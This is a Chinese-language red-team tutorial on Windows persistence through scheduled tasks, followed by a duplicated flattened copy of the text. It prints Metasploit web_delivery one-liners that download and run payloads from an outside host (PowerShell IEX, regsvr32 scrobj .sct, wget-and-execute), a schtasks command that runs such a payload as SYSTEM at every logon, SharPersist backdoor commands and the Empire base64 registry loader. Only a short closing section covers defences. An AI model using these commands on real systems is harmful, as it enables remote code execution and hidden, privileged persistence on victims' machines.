持久化研究-Scheduled Tasks
字数 1912 2025-08-25 22:58:20

持久化研究:Scheduled Tasks 技术详解

0x01 Scheduled Tasks 基础概念

Scheduled Tasks(计划任务)是 Windows 系统中用于自动执行例行任务的组件,通过监视特定条件(触发器)并在条件满足时执行任务。主要触发器类型包括:

  • 特定系统事件发生时
  • 特定时间点
  • 每日/每周/每月特定时间
  • 计算机空闲时
  • 系统启动时
  • 用户登录时
  • 终端服务器会话状态变更时

0x02 Schtasks.exe 命令详解

Schtasks.exe 是 Windows 内置工具,用于管理计划任务,支持本地和远程操作。

常用命令

创建任务

schtasks /Create 
[/S system [/U username [/P [password]]]]
[/RU username [/RP [password]] /SC schedule [/MO modifier] [/D day]
[/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
[/RI interval] [ {/ET endtime | /DU duration} [/K] 
[/XML xmlfile] [/V1]] [/SD startdate] [/ED enddate] [/IT] [/Z] [/F]

删除任务

schtasks /Delete 
[/S system [/U username [/P [password]]]]
[/TN taskname] [/F]

运行任务

schtasks /Run 
[/S system [/U username [/P [password]]]]
/TN taskname

结束任务

schtasks /End 
[/S system [/U username [/P [password]]]]
/TN taskname

查询任务

schtasks /Query 
[/S system [/U username [/P [password]]]]
[/FO format | /XML] [/NH] [/V] [/TN taskname] [/?]

变更任务

schtasks /Change 
[/S system [/U username [/P [password]]]] /TN taskname
{ [/RU runasuser] [/RP runaspassword] [/TR taskrun] [/ST starttime] 
[/RI interval] [ {/ET endtime | /DU duration} [/K] ]
[/SD startdate] [/ED enddate] [/ENABLE | /DISABLE] [/IT] [/Z] }

0x03 Metasploit 与计划任务持久化

使用 Metasploit 的 exploit/multi/script/web_delivery 模块可快速托管 Payload 并生成多种格式的执行命令:

模块参数设置

  1. 设置 Payload 为 windows/x64/meterpreter/reverse_tcp
  2. 主要 Targets 选项:
    • 0 Python
    • 1 PHP
    • 2 PSH
    • 3 Regsvr32
    • 4 pubprn
    • 5 PSH (Binary)
    • 6 Linux

各 Target 生成的 Payload 示例

Python:

python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}');exec(r.read());"

PHP:

php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}'));"

PSH:

powershell.exe -nop -w hidden -c $H=new-object net.webclient;$H.proxy=[Net.WebRequest]::GetSystemWebProxy();$H.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $H.downloadstring('http://192.168.235.129:8080/n8hDAIbCNMgO');

Regsvr32:

regsvr32 /s /n /u /i:http://192.168.235.129:8080/IPzpKcrXeff.sct scrobj.dll

pubprn:

C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs 127.0.0.1 script:#{get_uri}.sct

PSH (Binary):

powershell.exe -nop -w hidden -c $z="echo ($env:temp+'\VfpawmXm.exe')"; (new-object System.Net.WebClient).DownloadFile('http://192.168.235.129:8080/QS03dpwdho', $z); invoke-item $z*

Linux:

wget -qO #{fname} --no-check-certificate #{get_uri}; chmod +x #{fname}; ./#{fname}&

结合计划任务的利用方法

以 Regsvr32 为例:

schtasks /create /tn IStest /tr "regsvr32 /s /n /u /i:http://192.168.235.129:8080/IPzpKcrXeff.sct scrobj.dll" /sc onlogon /ru System

此命令创建了一个在用户登录时以 System 权限执行的计划任务。

Regsvr32.exe 参数说明

  • /u:反注册 DLL 文件
  • /s:安静模式执行
  • /n:不调用 DllRegisterServer,必须与 /i 连用
  • /i[:cmdline]:调用 DllInstall

0x04 SharPersist 工具使用

SharPersist 是 FireEye 开发的 Windows 持久化工具包,支持多种技术。

技术表

技术 参数开关 需管理员 操作注册表 修改文件
KeePass keepass
New Scheduled Task schtask
Registry reg
Startup Folder startupfolder
Tortoise SVN Hook Script tortoisesvn
New Service service
Scheduled Task Backdoor schtaskbackdoor

主要功能

创建新计划任务

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "testTask" -m add -o logon

列出计划任务

SharPersist -t schtask -m list -n "testTask"
SharPersist -t schtask -m list -o logon
SharPersist -t schtask -m list

计划任务后门

SharPersist -t schtaskbackdoor -m list -o logon
SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c whoami" -n "testTask" -m check
SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c whoami" -n "testTask" -m add

0x05 Empire 框架利用

Empire 提供两个相关模块:

  1. persistence/userland/schtasks

    • 创建名为 WindowsUpdate 的计划任务
    • Payload 存储在注册表:HKCU:\Software\Microsoft\Windows\CurrentVersion debug
    • 执行命令:
      -NonI -W hidden -c "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows\CurrentVersion debug).debug)))"
      
  2. persistence/elevated/schtasks*

    • 需要管理员权限
    • 创建名为 Updater 的计划任务
    • 用户登录时以 SYSTEM 权限触发

0x06 防御措施

  1. 审计

    • 使用 PowerSploit 的 PowerUp 模块检查计划任务中的权限弱点
  2. 操作系统配置

    • 强制任务在认证账户上下文中运行,而非 SYSTEM
    • 配置注册表项:HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl
    • GPO 设置:计算机配置> [策略]> Windows设置>安全设置>本地策略>安全选项:域控制器:允许服务器操作员安排任务,设为禁用
  3. 特权账户管理

    • 仅允许管理员组调度优先级进程
    • GPO 设置:计算机配置> [策略]> Windows设置>安全设置>本地策略>用户权限分配:增加计划优先级
  4. 用户账号管理

    • 限制用户账户特权
    • 仅授权管理员可在远程系统创建计划任务
持久化研究:Scheduled Tasks 技术详解 0x01 Scheduled Tasks 基础概念 Scheduled Tasks(计划任务)是 Windows 系统中用于自动执行例行任务的组件,通过监视特定条件(触发器)并在条件满足时执行任务。主要触发器类型包括: 特定系统事件发生时 特定时间点 每日/每周/每月特定时间 计算机空闲时 系统启动时 用户登录时 终端服务器会话状态变更时 0x02 Schtasks.exe 命令详解 Schtasks.exe 是 Windows 内置工具,用于管理计划任务,支持本地和远程操作。 常用命令 创建任务 : 删除任务 : 运行任务 : 结束任务 : 查询任务 : 变更任务 : 0x03 Metasploit 与计划任务持久化 使用 Metasploit 的 exploit/multi/script/web_delivery 模块可快速托管 Payload 并生成多种格式的执行命令: 模块参数设置 设置 Payload 为 windows/x64/meterpreter/reverse_tcp 主要 Targets 选项: 0 Python 1 PHP 2 PSH 3 Regsvr32 4 pubprn 5 PSH (Binary) 6 Linux 各 Target 生成的 Payload 示例 Python : PHP : PSH : Regsvr32 : pubprn : PSH (Binary) : Linux : 结合计划任务的利用方法 以 Regsvr32 为例: 此命令创建了一个在用户登录时以 System 权限执行的计划任务。 Regsvr32.exe 参数说明 /u :反注册 DLL 文件 /s :安静模式执行 /n :不调用 DllRegisterServer,必须与 /i 连用 /i[:cmdline] :调用 DllInstall 0x04 SharPersist 工具使用 SharPersist 是 FireEye 开发的 Windows 持久化工具包,支持多种技术。 技术表 | 技术 | 参数开关 | 需管理员 | 操作注册表 | 修改文件 | |------|----------|----------|------------|----------| | KeePass | keepass | 否 | 否 | 是 | | New Scheduled Task | schtask | 否 | 否 | 是 | | Registry | reg | 否 | 是 | 否 | | Startup Folder | startupfolder | 否 | 否 | 是 | | Tortoise SVN Hook Script | tortoisesvn | 否 | 是 | 否 | | New Service | service | 是 | 是 | 否 | | Scheduled Task Backdoor | schtaskbackdoor | 是 | 否 | 是 | 主要功能 创建新计划任务 : 列出计划任务 : 计划任务后门 : 0x05 Empire 框架利用 Empire 提供两个相关模块: persistence/userland/schtasks : 创建名为 WindowsUpdate 的计划任务 Payload 存储在注册表: HKCU:\Software\Microsoft\Windows\CurrentVersion debug 执行命令: persistence/elevated/schtasks* : 需要管理员权限 创建名为 Updater 的计划任务 用户登录时以 SYSTEM 权限触发 0x06 防御措施 审计 : 使用 PowerSploit 的 PowerUp 模块检查计划任务中的权限弱点 操作系统配置 : 强制任务在认证账户上下文中运行,而非 SYSTEM 配置注册表项: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl GPO 设置: 计算机配置> [策略]> Windows设置>安全设置>本地策略>安全选项:域控制器:允许服务器操作员安排任务 ,设为禁用 特权账户管理 : 仅允许管理员组调度优先级进程 GPO 设置: 计算机配置> [策略]> Windows设置>安全设置>本地策略>用户权限分配:增加计划优先级 用户账号管理 : 限制用户账户特权 仅授权管理员可在远程系统创建计划任务